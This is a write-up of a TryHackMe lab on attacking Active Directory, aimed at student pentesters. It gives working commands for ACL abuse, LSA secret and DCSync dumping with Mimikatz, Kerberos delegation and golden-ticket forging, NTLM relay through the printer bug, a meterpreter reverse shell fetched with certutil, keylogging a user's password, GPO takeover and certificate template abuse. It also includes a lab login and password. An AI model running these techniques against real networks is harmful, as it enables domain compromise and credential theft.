Active Directory Exploitation Techniques

In this AD network, I will cover several methods that can be used to exploit AD. This is by no means a complete list of available methods there are a lot of others. However, I will cover the following techniques for enumerating AD:

1. Introduction
2. Exploiting Permission Delegation
3. Exploiting Kerberos Delegation(Constrained Delegation)
4. Exploiting Automated Relays
5. Exploiting Authentication Relays
6. Exploiting AD Users
7. Exploiting GPOs
8. Exploiting Certificates
9. Exploiting Domain Trusts
10. Conclusion

This write-up is based on the Exploiting Active Directory room from TryHackMe. Please find this room here: https://tryhackme.com/room/exploitingad

Who's this for:

• Beginner and intermediate pen-testers.
• Students currently taking or planning to take the PWK/OSCP course

This write-up is aimed to understanding you about the various methods of Active Directory Exploitation Techniques.

1. Introduction:

Connecting to the Network

I am using my own Kali VM to complete this room, not the AttackBox provided by TryHackMe.

Download the VPN connection pack and connect to the VPN as a background service.

Here, I assume you have followed all the steps provided in TryHackMe. So, I'm moving on to further process.

Network Diagram:

Requesting Credentials

Following the instructions in the AD network lesson, navigate to https://distributor.za.tryhackme.loc/creds and request credentials for use during exercises.

This credential pair will provide you RDP and SSH access to THMWRK1.za.tryhackme.loc. THMWRK1 can be seen as a jump host into this environment, simulating a foothold that you have achieved. Remember to specify the domain of za.tryhackme.com when connecting.

For SSH access, you can use the following SSH command:

ssh za.tryhackme.loc\\<AD Username>@thmwrk1.za.tryhackme.loc        

2. Exploiting Permission Delegation

Active Directory can delegate permissions and privileges through a feature called Permission Delegation. Delegation is what makes AD so powerful in organizations.

Permission Delegation

Permission Delegation exploits are often referred to as ACL-based attacks. AD allows administrators to configure Access Control Entries (ACEs) that populates Discretionary Access Control Lists (DACLs), hence the name ACL-based attacks. Almost any AD object can be secured with ACEs, which then describe the allowed and denied permissions that any other AD object has against the target object. However, if these ACEs are misconfigured, it may be possible for an attacker to exploit them.

Example:

If the IT Support team were granted the ForceChangePassword ACE over the Domain Users group, this would be considered insecure. Sure they would be able to reset the passwords of employees that forgot their passwords, but this misconfiguration would allow them to also reset the passwords of privileged accounts, such as the accounts that are members of the Domain Admins group essentially allowing for privilege escalation.

Exploiting ACEs

A significant amount of ACEs can be misconfigured, and the exploits for each vary. The Bloodhound documentation assists in explaining enumerated ACEs and how they can be exploited. However, we will look at a couple of notable ones here:

• ForceChangePassword: We have the ability to set the user's current password without knowing their current password.
• AddMembers: We have the ability to add users (including our own account), groups or computers to the target group.
• GenericAll: We have complete control over the object, including the ability to change the user's password, register an SPN or add an AD object to the target group.
• GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example, update the scriptPath parameter, which would cause a script to execute the next time the user logs on.
• WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing us to gain additional permissions over the object.
• WriteDACL: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that grants our account full control over the target object.
• AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target object. This includes, for example, the ability to force change a user's password.

In order to exploit these ACEs, we will need a method to interact with AD to make these requests. The two best options for this are the AD-RSAT PowerShell cmdlets or PowerSploit . Depending on the breach and the detection tools in the environment, one option may be stealthier. In this task i will show both.

Starting BloodHound:

In another Terminal tab, run bloodhound --no-sandbox. This will show you the authentication GUI:

Download the Task Files

After downloading Task files that THM provided in their task, Then upload zips on the Bloodhound screen. Once the data is ingested, we can start enumerating attack paths again.

Privilege Escalation

If we search for our user account that was assigned in Task 1 in Bloodhound, we see that we don't have a lot of permissions. We have the ability to RDP into THMWRK1, but this will only provide us with low-privileged access.

Since the domain is tiered, our first step will be to compromise Tier 2 infrastructure. We need to compromise the Tier 2 Admins group since this group has administrative privileges on all workstations.?Let's check in Bloodhound if there is perhaps a road that we can follow to compromise this group. Add your user account as the start position and the Tier 2 Admins group as the end position.

Bloodhound shows us a very interesting path. It seems that there was a slight bit of Permission Delegation in this domain. An administrator has misconfigured the Permission Delegation of the IT Support group by providing the Domain Users group with the AddMembers ACE. This means that any member of the Domain Users group (including our account) can add accounts to the IT Support Group. Furthermore, Bloodhound shows that the IT Support Group has the ForceChangePassword ACE for the Tier 2 Admins group members. This is not really a misconfiguration since Tier 2 admins are not that sensitive, but it provides a very potent attack path when combined with the initial misconfiguration. Let's exploit it!

Exploiting:

AddMember

The first step in this attack path is to add our AD account to the IT Support group. We will use the Add-ADGroupMember PowerShell cmdlet from the AD-RSAT toolset for this. Start PowerShell (either in RDP or via SSH) on the THMJMP1 host and run the following command to add your account:

Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"        

We can verify that the command worked by using the Get-ADGroupMember cmdlet:

Get-ADGroupMember -Identity "IT Support"        

If everything worked, you should see your account as a member.

ForceChangePassword

Now that we are a member of the IT Support group, we have inherited the ForceChangePassword Permission Delegation over the Tier 2 Admins group. First, we need to identify the members of this group to select a target. We can use the Get-ADGroupMember cmdlet again to assist with this:

Get-ADGroupMember -Identity "Tier 2 Admins"        

We will use the Set-ADAccountPassword AD-RSAT cmdlet to force change the password:

I choose the following account among of all these to change the password

$Password = ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Forc

Set-ADAccountPassword -Identity "AD.Account.Username.Of.Target" -Reset -NewPassword $Passworde        

Note: If you get an Access Denied error, your permissions have not yet propagated through the domain. This can take up to 10 minutes. The best approach is to terminate your SSH or RDP session, take a quick break, and then reauthenticate and try again. You could also run gpupdate /force and then disconnect and reconnect, which in certain cases will cause the synchronisation to happen faster.

If this step worked, you should now be able to authenticate to THMWRK1 using this target account with its new password. You currently have administrative access to this workstation. Congratulations! You have officially escalated your privileged to Tier 2 Administrator by exploiting Permission Delegations. Now login again

If this step worked, you should now be able to authenticate to THMWRK1 using this target account with its new password.

What is the value of the flag stored on the Desktop of the Administrator user on THMWRK1 (flag1.txt)?

You currently have administrative access to this workstation. Congratulations! You have officially escalated your privileged to Tier 2 Administrator by exploiting Permission Delegations.

3. Exploiting Kerberos Delegation

Before moving on to the hand-on scenario you must understand about the Kerberos Delegation.

The practical use of Kerberos Delegation is to enable an application to access resources hosted on a different server. An example of this would be a web server that needs to access a SQL database hosted on the database server for the web application that it is hosting. Without delegation, we would probably use an AD service account and provide it with direct access to the database. When requests are made on the web application, the service account would be used to authenticate to the database and recover information.

There are two types of Kerberos Delegation.

• Unconstrained Delegation
• Constraint Delegation
• Resource-Based Constrained Delegation

Unconstrained Delegation was used, which is the least secure method. In essence, Unconstrained Delegation provides no limits to the delegation. In the background, if a user with the "TRUSTED_FOR_DELEGATION" flag set authenticates to a host with Unconstrained Delegation configured, a ticket-granting ticket (TGT) for that user account is generated and stored in memory so it can be used later if needed. Suppose an attacker can compromise a host that has Unconstrained Delegation enabled. In that case, they could attempt to force a privileged account to authenticate to the host, which would allow them to intercept the generated TGT and impersonate the privileged service. If you want to see an example of the exploitation of Unconstrained Delegation, have a look here .

Constrained Delegation restricts what services an account can be delegated to, limiting exposure if an account is compromised. The following are examples of services that can be configured for delegation:

HTTP - Used for web applications to allow pass-through authentication using AD credentials.

CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.

LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.

HOST - Allows delegation of account for all activities on the host.

MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

Exploiting Constrained Delegation is usually more complex than exploiting Unconstrained Delegation since the delegated account can't just be used for everything. However, it can still be used for some powerful exploitation. An example of this would be if we were able to compromise an AD account that had constrained delegation configured. By knowing the plaintext password or even just the NTLM hash of this account, we could generate a TGT for this account, then use the TGT to execute a ticket-granting server (TGS) request for any non-sensitive user account in order to access the service as that user. Imagine impersonating an account with access to a sensitive database, for example.

RBCD(Resource-Based Constrained Delegation ) changes the delegation model entirely. Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it. In our web application example, this means that instead of specifying that the web service account can delegate to the database service to access the database, we can now specify that on the database service that the web service account is allowed to delegate access to it.

Constrained Delegation Exploitation

The first thing we need to do is enumerate available delegations. Let's use our new privileged user for the network couple of commands. We can use the Get-NetUser cmdlet of PowerSploit for this enumeration by running the following command:

Import-Module C:\Tools\PowerView.ps1

Get-NetUser -TrustedToAuth1        

Based on the output of this command, we can see that the svcIIS account can delegate the HTTP and WSMAN services on THMSERVER1. You would think that this means we can only access websites on behalf of impersonated users. However, PowerShell Remoting uses the HTTP and WSMAN services as well. The ideal option would be to impersonate a Tier 1 Admin since this would provide us with administrative access over THMSERVER1.

If you were to perform proper post-exploitation enumeration of THMWRK1, you would find that there is a service on the host running as the svcIIS user. Since we have administrative access now, we can use this to dump LSASecrets, part of the Windows Registry Hive where credentials are stored for features such as Windows services. Let's use Mimikatz to dump the secrets:

C:\Tools\mimikatz_trunk\x64\mimikatz.exe        

Let's run through the two commands:

• token::elevate - To dump the secrets from the registry hive, we need to impersonate the SYSTEM user.
• lsadump::secrets - Mimikatz interacts with the registry hive to pull the clear text credentials.

token::elevate

lsadump::secrets

Now that we have access to the password associated with the svcIIS account, we can perform a Kerberos delegation attack. We will use a combination of Kekeo and Mimikatz . You can use another window for Mimikatz, but make sure to exit out of Mimikatz after the token::elevate command, otherwise the tickets will be loaded in the wrong context later on. We will use Kekeo to generate our tickets and then use Mimikatz to load those tickets into memory. Let's start by generating the tickets:

C:\Tools\kekeo\x64\kekeo.exe        

tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted        

Parameters explained:

• user - The user who has the constrained delegation permissions.
• domain - The domain that we are attacking since Kekeo can be used to forge tickets to abuse cross-forest trust.
• password - The password associated with the svcIIS account.

Now that we have the TGT for the account that can perform delegation, we can forge TGS requests for the account we want to impersonate. We need to perform this for both HTTP and WSMAN to allow us to create a PSSession on THMSERVER1:

tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc        

Parameters explained:

• tgt - We provide the TGT that we generated in the previous step.
• user - The user we want to impersonate. Since t2_ accounts have administrative access over workstations, it is a safe assumption that t1_ accounts will have administrative access over servers, so choose a t1_ account that you would like to impersonate.
• service - The services we want to impersonate using delegation. We first generate a TGS for the HTTP service. Then we can rerun the same command for the WSMAN service.

Run the command again, this time for the WSMAN service.

tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:WSMAN/THMSERVER1.za.tryhackme.loc        

Now that we have the two TGS tickets, we can use Mimikatz to import them:

Launch mimikatz again

Run the following command again, this time for the WSMAN service. Now that we have the two TGS tickets, we can use Mimikatz to import them:

privilege::debu

kerberos::ptt [email protected][email protected]

kerberos::ptt [email protected][email protected]        

You can exit Mimikatz and run klist if you want to verify that the tickets were imported.

Now that the tickets are imported, we can finally create our PSSession on THMSERVER1:

New-PSSession -ComputerName thmserver1.za.tryhackme.lo

Enter-PSSession -ComputerName thmserver1.za.tryhackme.locc        

You can get flag2.txt here as you can see in the above picture.

With the exploitation of Constrained Delegation, we now have privileged access to THMSERVER1!

4. Exploiting Automated Relays

We already have privileged access to THMSERVER1, In real-world we could be in a position where we did not have access to a constrained delegation exploit. Then exploiting automated relays is another excellent attack that can be performed to gain privileged access to hosts.

Machine Accounts

All Windows hosts have a machine account. Essentially, this is the user account associated with the machine. Unless someone tampered with the account of the host, the passwords of these accounts are uncrackable. By default, they are 120 characters (UTF16) long and are automatically rotated every 30 days.

In AD, these machine accounts are used quite a bit in different services. Different domain controllers use their machine accounts to synchronize AD updates and changes. When you request a certificate on behalf of the host you are working on, the machine account of that host is used for authentication to the AD Certificate Service.

There is an exceptional case in AD, where one machine has admin rights over another machine. Essentially in the AD configuration, administrative permissions over a host have been granted to another host.

We first need to identify cases where a machine account has administrative access over another machine. I use Bloodhound for this;

We will have to write some custom cypher queries. Click the "Create Custom Query" in the Analysis tab in Bloodhound and write the following query:

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p        

This query will attempt to find instances where a computer has the "AdminTo" relationship over another computer:

This is very interesting. It shows us that the THMSERVER2 machine account has administrative privileges over the THMSERVER1 machine.

The Printer Bug

The printer bug is a "feature" of the MS-RPRN protocol (PrintSystem Remote Protocol), which allows a domain user to remotely force a target host running the Print Spooler service to authenticate to an arbitrary IP address. There have been a few of these bugs in recent years: Spooler, PetitPotam, PrintNightmare. Microsoft claims that the only bug is that some of these did not require AD credentials at all, but this issue has been resolved through security patches.

Therefore, to exploit this, apart from machine account administrative privileges, we also need to meet the following four conditions :

1. A valid set of AD account credentials.
2. Network connectivity to the target's SMB service.
3. The target host must be running the Print Spooler service.
4. The hosts must not have SMB signing enforced.

Condition 1 and 2 have been met already. The only two we need to ensure works are conditions 3 and 4.

Print Spooler Service

We need to determine if the Print Spooler service is running. Since we don't have access to THMSERVER2, we need to query from the network perspective. In this case, we can use a WMI query from our SSH session on THMWRK1 to query the service's current state:

GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc        

The output from the cmdlet verifies that the service is running. If we get an access denied error, you could perhaps attempt the PowerShell command of

Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc        

However, Microsoft has been cracking down viewing these ports from the network's perspective. If both give you an error, you may just need to take a leap of faith. Thus, condition three has been met.

SMB Signing

In order to relay the coerced authentication attempt, SMB signing should not be enforced. It should be noted that there is a difference between SMB signing being allowed and SMB signing being enforced. Since some legacy systems do not support SMB signing, by default, the configuration of SMB is that signing is allowed but not enforced, meaning that it will only be used if supported. Since we will be hosting a malicious SMB server, we can ensure our server does not support signing, forcing the target not to sign the SMB authentication attempt.

To verify that THMSERVER1 and THMSERVER2 do not have SMB signing enforced, we can use Nmap on our AttackBox:

nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc        

We can see that SMB signing is enabled but not enforced based on the output. This means all our conditions are met, and we can start the attack!

5. Exploiting Authentication Relays

Note: This attack can be unstable. Abusing the Print Spooler service may cause it to crash, and a callback is not always guaranteed. For this reason, the previous task already provided you with the permissions required to continue. However, understanding authentication relays and how to force them is essential for AD exploitation. As such, the steps to perform such an attack are provided below. You can decide to give it a go, but a callback is not guaranteed.

We will be using SpoolSample to exploit the authentication relay. It is a C# exploit but has already been compiled for you and stored in the C:\Tools\ directory on THMWRK1. We will use Spoolsample.exe to coerce THMSERVER2 to authenticate to us on our AttackBox and then Impacket 's ntlmrelayx.py to relay the authentication attempt THMSERVER1.

Note that if you are using your own VM, you will need to make sure you have the updated version of Impacket that supports SMBv2.

The first step is to set up the NTLM relay. On our AttackBox, we can use the following:

ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug        

Transferring SpoolSample.exe tool to my AttackerBox.

In an SSH terminal on THMWRK1, execute the following:

SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"        

On my attacker box i got

Now save these hashes on attacker box

Your attacker IP should correspond with your tunX interface for the network. If all goes well, you should have received an authentication attempt and a relay to THMSERVER1.

python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug        

This output resembles what would happen if you used the -c 'whoami /all' command. However by specifying no command, you should now have performed a hashdump. These credentials can now be used to get a shell on the host!

Finding Flag3

What is the value of the flag stored in the Desktop directory of the Administrator.ZA user on THMSERVER1 (flag3.txt)?

evil-winrm -i [THMSERVER1 IP] -u ServerAdmin -H        

Here in the above picture you can get flag 3

6. Exploiting AD Users

We have full administrative access to workstations and servers. Essentially, we can perform post-exploitation on almost any Tier 1 and Tier 2 system.

While it is good to build up a proper enumeration and attack methodology against AD users, in this task, we will focus on two elements:

• Credential Management - How users store their credentials. In AD, this is quite important since users may have multiple sets of credentials and remembering all of them can be a hassle.
• Keylogging - Often, during exploitation, we need to understand how normal users interact with a system. Together with screengrabs, Keylogging can be a useful tool to gain this understanding from an attacker's perspective.

Hunting for Credentials

Now that we have compromised THMSERVER1, we should probably look around to see if there is any useful information. Have a look at the user directories and see if there is some useful information in any of them.

Your enumeration efforts should lead you to a .kdbx file. A quick Google should confirm our suspicion that this file is indeed very valuable! We can use Meterpreter's download command to recover this file.

This file seems to be a credential database. The issue, however, is that the database is encrypted with a password. We could attempt to crack the password, but anyone who uses a credential database usually has the savvy to make sure the initial password is secure. We may have more success seeing how the user interacts with this database.

SYSTEM is Sometimes Too Privileged

Meterpreter has a built-in keylogger. This will be useful for extracting the user's keystrokes.?Meterpreter provides us with a migrate feature, and since we are running as SYSTEM, we should be able to migrate to any process. You have remote code execution on THMSERVER1, use this to get a Meterpreter shell.

Use the following command to generate a PowerShell meterpreter payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1        

You can then also use the following to create the associated listener in the msfconsole:

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT "listening port'; exploit"        

You can host your meterpreter shell using a Python webserver and then copy it using this cmd:

certutil -urlcache -f https://10.50.57.75:8080/hack4444.ps1 hack4444.ps1        

Goto msf-console and check you get meterpreter session open

Once you have a meterpreter shell, you can continue. The first step is to see if the users have any running processes on this machine:

ps | grep "explorer"        

It seems like we are lucky! The user has an active session on THMSERVER1. Let's migrate to a process of this user. The safest bet is usually sometime like explorer.exe:

migrate 3816        

We can confirm that we are now running in the context of our target using the getuid command:

getuid        

Now we are ready to start our keylogger:

keyscan_start        

Now we have to be patient and wait. If we are lucky, we will capture some credentials! Give it a couple of minutes, and then run the following to dump captured keystrokes:

keyscan_dump        

Now as you can see we get .kdbx file now run this file using keepassx and get credentials

Now might be a good time to create a local account on THMSERVER1 and grant it admin rights so you have a good foothold.

7. Exploiting GPO(Group Policy Objects)

In the previous task, we see Keylogging the user allowed us to decrypt their credential database, providing us with credentials that can be useful to further our goal of AD exploitation, namely the svcServMan account. We need to perform a bit of enumeration to figure out what these credentials will be useful for. Using the search feature in Bloodhound, let's review the permissions that the discovered account has:

One permission, in particular, stands out for this account, ownership over a Group Policy Object (GPO). Furthermore, when we do a bit of investigation, it seems like this GPO is applied to our THMSERVER2 machine:

This may provide us with the ideal opportunity to further our AD exploitation!

Group Policy Objects

There is a SYSVOL directory in windows where AD GPOs are stored to be replicated to domain-joined machines. A GPO is a virtual collection of policy settings. Each GPO has a unique name, called a GUID. That's why if you try to read the contents of the SYSVOL directory, it won't make a lot of sense with all the random names.

Each Windows computer has a Local Policy Configuration. This contains several notable configurations such as:

• Application configuration for services such as the Firewall, Anti-Virus, and Applocker.
• Local Group membership such as the Administrator or Remote Desktop Users groups.
• Startup configuration such as scripts that should be executed.
• Security and protocol settings such as SMBv1 support.

These are just a few examples. There are a significant amount of configuration options that can be set.

Group Policy Management

If you only have one Windows computer, it is easy to change the local policy configuration directly on the host. However, you need a mechanism to deploy a configuration from a central location in large organisations. This is where Group Policy Management (GPM) comes into play. Instead of defining policies locally on each machine, GPM allows us to define policies directly on the AD structure. Essentially, we can define GPOs for AD objects, such as a specific OU or group. By default, policies are replicated every 15 minutes through the gpupdate application.

Exploiting GPOs

Although there are several ways in which GPOs can be exploited, we will stick with the simple solution of adding an AD account we control to both the local Administrators and local Remote Desktop Users groups. This will allow us administrative privileges on THMSERVER2 and the ability to RDP in. We could also use the exposed SSH port, but not many organisations have upgraded to providing SSH access. Hence, RDP access or conventional lateral movement techniques like SMBExec are safer.

In order to modify the GPO, we need to access Group Policy Management as the AD user that has the relevant permissions. We could RDP into THMSERVER1 as the user, but that may kick the user out of their active session, raising suspicion. Instead, we will RDP into THMWRK1 with either our normal or our Tier 2 Admin account, inject the AD user's credentials into memory using the runas command, and open MMC to modify the GPO.

xfreerdp /u:ruth.dale /p:Aowj1781 /v:10.200.60.202        

runas /netonly /user:za.tryhackme.loc\<AD Username> cmd.exe        

Once prompted, provide the password associated with the account. To verify that you provided the correct credentials, you can run

dir \\za.tryhackme.loc\sysvol        

In the newly spawned command prompt window, we can start the Microsoft Management Console:

We now want to add the Group Policy Management snap-in:

1. Click File -> Add/Remove Snap-in
2. Select the Group Policy Management snap-in and click Add
3. Click Ok

You should now be able to see GPOs for the za.tryhackme.com domain:

We can now navigate to the GPO that our user has permission to modify (Servers > Management Servers> Management Server Pushes).

We can right-click on the GPO and select Edit. This will open the new Group Policy Management Editor window.

In order to add our account to the local groups, we need to perform the following steps:

1. Expand Computer Configuration
2. Expand Policies
3. Expand Windows Settings
4. Expand Security Settings
5. Right Click on Restricted Groups and select Add Group (If the IT Support group already exists, it means someone has already performed the exploit. You can either delete it to create it yourself, or just inspect it to see what was configured.)
6. Click Browse, enter IT Support and click Check Names
7. Click Okay twice

The first filter is not used. For the second filter, we want to add both the Administrators and Remote Desktop Users groups. In the end, it should look something like this:

Once the configuration has been made, we can click Apply and OK. Now, all we need to do is wait for a maximum of 15 minutes for the GPO to be applied. After this, our initial account that we made a member of the IT Support group will now have administrative and RDP permissions on THMSERVER2!

Creating SSH Session

Add Member

Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username

Get-ADGroupMember -Identity "IT Support""        

Finding FLAG4

What is the value of the flag stored on THMSERVER2 in the Administrator's Desktop directory (flag4.txt)?

8. Exploiting Certificates

AD Certificate Services

AD Certificate Services (CS) is Microsoft's Public Key Infrastructure (PKI) implementation. Since AD provides a level of trust in an organization, it can be used as a CA to prove and delegate trust. AD CS is used for several things, such as encrypting file systems, creating and verifying digital signatures, and even user authentication, making it a promising avenue for attackers.

Since AD CS is a privileged function, it usually runs on selected domain controllers. Meaning normal users can't really interact with the service directly. On the other side of the coin, organizations tend to be too large to have an administrator create and distribute each certificate manually. This is where certificate templates come in. Administrators of AD CS can create several templates that can allow any user with the relevant permissions to request a certificate themselves. These templates have parameters that say which user can request the certificate and what is required. SpecterOps found that specific combinations of these parameters can be incredibly toxic and abused for privilege escalation and persistent access.

Before we dive deeper into certificate abuse, some terminology:

• PKI - Public Key Infrastructure is a system that manages certificates and public key encryption
• AD CS - Active Directory Certificate Services is Microsoft's PKI implementation which usually runs on domain controllers
• CA - Certificate Authority is a PKI that issues certificates
• Certificate Template - a collection of settings and policies that defines how and when a certificate may be issued by a CA
• CSR - Certificate Signing Request is a message sent to a CA to request a signed certificate
• EKU - Extended/Enhanced Key Usage are object identifiers that define how a generated certificate may be used

Finding Vulnerable Certificate Templates

In order to find vulnerable templates, we will use Window's built-in tool certutil. Using our RDP access on THMSERVER2, we can run the following Powershell script to enumerate certificates:

certutil -Template -v > templates.txt        

This will provide output on all configured templates. We could also use a certificate auditing tool such as Ghostpack's PSPKIAudit . However, a manual approach allows us to make sure we find all possible misconfigurations. A certificate template is deemed misconfigured if a combination of parameter values becomes poisonous, allowing the requester to perform privilege escalation. In our case, we are looking for a template with the following poisonous parameter combination:

• Client Authentication - The certificate can be used for Client Authentication.
• CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name (SAN).
• CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key.
• Certificate Permissions - We have the required permissions to use the certificate template.

In this task, we can see that the machine account of THMSERVER2 can issue a CSR for a template that allows us to specify the Subject Alternative Name (SAN) and can be used for client authentication.

SpecterOps mentions eight common security misconfigurations with AD CS, so it should be noted that there are still a significant amount of potential misconfigurations that can be found.?https://posts.specterops.io/certified-pre-owned-d95910965cd2

Exploiting a Certificate Template

Using RDP access on THMSERVER2, we will now request our certificate. If you use Remmina and save the config of the RDP connection, please make sure to disable?Restricted admin mode. We will use the Microsoft Management Console (MMC):

1. Click Start->run
2. Type mmc and hit enter
3. Click File->Add/Remove Snap-in..
4. Add the Certificates snap-in and make sure to select Computer Account and Local computer on the prompts.
5. Click OK

We will request a personal certificate:

1. Right Click on Personal and select All Tasks->Request New Certificate...
2. Click Next twice to select the AD enrollment policy.
3. You will see that we have one template that we can request, but first, we need to provide additional information.
4. Click on the More Information warning.
5. Change the Subject name Type option to Common Name and provide any value, since it does not matter, and click Add.
6. Change the Alternative name Type option to User principal name.
7. Supply the UPN of the user you want to impersonate. The best would be a DA account such as [email protected] and click Add.

Your additional information should look something like this:

Once you are happy with it, click Apply and OK. Then, select the certificate and click Enroll. You should be able to see your certificate:

The last step is to export our certificate with the private key:

1. Right-click on the certificate and select All Tasks->Export...
2. Click Next, select Yes, export the private key, and click Next.
3. Click Next, then set a password for the certificate since the private key cannot be exported without a password.
4. Click Next and select a location to store the certificate.
5. Click Next and finally click Finish.

Now transfer this certificate to my attackbox.

User Impersonation through a Certificate

Now we can finally impersonate a user. To perform this, two steps are required:

• Use the certificate to request a Kerberos ticket-granting ticket (TGT)
• Load the Kerberos TGT into your hacking platform of choice

For the first step, we will be using Rubeus . An already compiled version is available in the C:\Tools\ directory. Open a command prompt window and navigate to this directory. We will use the following command to request the TGT:

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:za.tryhackme.loc /dc:        

Let's break down the parameters:

• /user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
• /enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
• /certificate - Path to the certificate we have generated
• /password - The password for our certificate file
• /outfile - The file where our TGT will be output to
• /domain - The FQDN of the domain we are currently attacking
• /dc - The IP of the domain controller which we are requesting the TGT from. Usually it is best to select a DC that has a CA service running

Once we execute the command, we should receive our TGT:

.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:ADcert2.pfx /password:hacksmarter /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.60.101        

Now we can use Mimikatz to load the TGT and authenticate to THMDC:

mimikatz_trunk\x64\mimikatz.exe

privilege::debug

kerberos::ptt administrator.kirbi

exite        

Finally, we have access to Tier 0 infrastructure and have compromised the full child domain!

Now, we can browse the file system of the domain controller from THMSERVER2 ! and get the flag stored on THMDC in the Administrator's Desktop directory (flag5.txt)

9. Exploiting Domain Trusts:

Even though we have access to Tier 0 infrastructure, this is still not enough. We have only exploited the ZA.TRYHACKME.LOC domain. Surely TRYHACKME must have domains for other regions as well? Well, if we take control of the root domain, TRYHACKME.LOC, we will be in a position to compromise all of these regional domains. In this task, we will look at how domain trust can be exploited to take control of the entire forest.

Domain Trusts:

Domain Trusts are a mechanism for users in the network to gain access to other resources in the domain.

There are two main types of trusts that can be configured between domains:

• Directional - The direction of the trust flows from a trusting domain to a trusted domain
• Transitive - The trust relationship expands beyond just two domains to include other trusted domains

It is common to have a root or parent domain in a forest. In our case, this is TRYHACKME.LOC. For each regional office, sub or child domains are created, such as ZA.TRYHACKME.LOC or UK.TRYHACKME.LOC. This forest configuration will allow the sharing of resources between the ZA and the UK office.

As mentioned above, the trust between a parent and child domain is bidirectional. This is intended behaviour and is used to share resources through greater transitive trust relationships. However, as an attacker, we can also exploit this trust to compromise the parent domain if we have compromised a child domain.

KRBTGT and Golden Tickets

KRBTGT is the account used for Microsoft's implementation of Kerberos. The name is derived from Kerberos (KRB) and Ticket Granting Ticket (TGT). Essentially, this account acts as the service account for the Kerberos Distribution Center (KDC) service, which handles all Kerberos ticket requests. This account is used to encrypt and sign all Kerberos tickets for the domain. Since the password hash is shared by all domain controllers, they can then verify the authenticity of the received TGT when users request access to resources.

However, what if we want to generate our own TGTs to grant us access to everything? This is known as a Golden Ticket attack. In a Golden Ticket attack, we bypass the KDC altogether and create our own TGTs, essentially becoming a Ticket Granting Server (TGS). In order to forge TGTs, we need the following information:

• The FQDN of the domain
• The Security Identifier (SID) of the domain
• The username of the account we want to impersonate
• The KRBTGT password hash

The first three are usually easy to recover. The last one requires a domain compromise since the KRBTGT password hash is only stored on domain controllers. Luckily for us, we have just compromised the Tier 0 admins group with a forged certificate, so we are in a position to recover the KRBTGT password hash.

We will again use Mimikatz with a DC Sync to recover the KRBTGT password hash on THMSERVER2:

mimikatz_trunk\x64\mimikatz.ex

privilege::debug

lsadump::dcsync /user:za\krbtgte        

Copy SID and NTLM Hash to save it for further use.

Inter-Realm TGTs

Using the KRBTGT password hash, we could now forge a Golden Ticket to access any resource in the child domain. This will also be discussed in more detail in the Persisting AD room. However, we can take this a step further by forging an Inter-Realm TGT. Inter-Realm TGTs are used to provide access to resources in other domains. In our case, we want to exploit the bidirectional trust relationship between the child and parent domain to gain full access to the parent domain.

We will include extra account SIDs from other domains when we construct the Golden Ticket to perform this exploit. Mimikatz can assist with this, allowing us to set the ExtraSids section of the KERB_VALIDATION_INFO structure of the Kerberos TGT. The ExtraSids section is described as “A pointer to a list of KERB_SID_AND_ATTRIBUTES structures that contain a list of SIDs corresponding to groups in domains other than the account domain to which the principal belongs”.

The key here is that we will exploit the trust the parent domain has with our child domain by adding the SID of the Enterprise Admins (EA) group as an extra SID to our forged ticket for the domain controller of the child domain. The EA group belongs to the parent domain and membership to this group essentially grants Administrative privileges over the entire forest! The default SID for this group is S-1-5-21-<RootDomain>-519.

Before we can go into exploitation, we first need to recover two SIDs:

• The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
• The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT

To recover these SIDs, we can use the AD-RSAT Powershell cmdlets. We can recover the SID of the child domain controller using the following command:

Get-ADComputer -Identity "THMDC"        

We can recover the SID of the Enterprise Admins group using the following command to query the parent domain controller:

Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc        

Exploiting Domain Trusts

We finally have all of the information required to create our forged TGT. We will use Mimikatz to generate this golden ticket. The command will look something like this:

mimikatz_trunk\x64\mimikatz.exe

privilege::debug

kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptte        

First, we will verify that this ticket works for access to THMDC since it is a valid ticket for the Administrator user of the child domain:

dir \\thmdc.za.tryhackme.loc\c$        

